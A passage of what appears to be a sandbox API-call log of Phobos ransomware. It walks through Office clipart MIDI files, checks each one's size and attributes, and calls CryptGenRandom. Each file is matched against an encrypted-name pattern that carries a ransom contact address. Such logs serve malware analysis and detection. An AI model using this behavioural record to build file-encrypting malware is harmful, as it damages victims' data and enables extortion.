hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6970) returned 1 [0151.182] CloseHandle (hObject=0x564) returned 1 [0151.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0151.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.182] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.184] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6165) returned 1 [0151.184] CloseHandle (hObject=0x564) returned 1 [0151.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0151.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.185] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.186] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10562) returned 1 [0151.186] CloseHandle (hObject=0x564) returned 1 [0151.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0151.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.186] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.187] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4846) returned 1 [0151.187] CloseHandle (hObject=0x564) returned 1 [0151.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0151.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.187] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.187] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12981) returned 1 [0151.187] CloseHandle (hObject=0x564) returned 1 [0151.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0151.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.188] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.188] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9318) returned 1 [0151.189] CloseHandle (hObject=0x564) returned 1 [0151.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0151.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.189] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.190] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7567) returned 1 [0151.190] CloseHandle (hObject=0x564) returned 1 [0151.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0151.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.190] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.191] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6331) returned 1 [0151.191] CloseHandle (hObject=0x564) returned 1 [0151.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0151.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.191] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.192] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7178) returned 1 [0151.192] CloseHandle (hObject=0x564) returned 1 [0151.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0151.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.192] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.193] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8568) returned 1 [0151.193] CloseHandle (hObject=0x564) returned 1 [0151.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0151.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.193] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.194] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9797) returned 1 [0151.195] CloseHandle (hObject=0x564) returned 1 [0151.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0151.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.195] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.195] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5843) returned 1 [0151.196] CloseHandle (hObject=0x564) returned 1 [0151.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0151.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.196] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.475] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6880) returned 1 [0151.475] CloseHandle (hObject=0x564) returned 1 [0151.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0151.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.476] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.494] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7768) returned 1 [0151.494] CloseHandle (hObject=0x564) returned 1 [0151.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0151.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.495] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.511] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6764) returned 1 [0151.511] CloseHandle (hObject=0x564) returned 1 [0151.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0151.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.515] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.526] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5983) returned 1 [0151.526] CloseHandle (hObject=0x564) returned 1 [0151.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0151.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.526] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.538] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5058) returned 1 [0151.538] CloseHandle (hObject=0x564) returned 1 [0151.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0151.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.539] CreateFileW 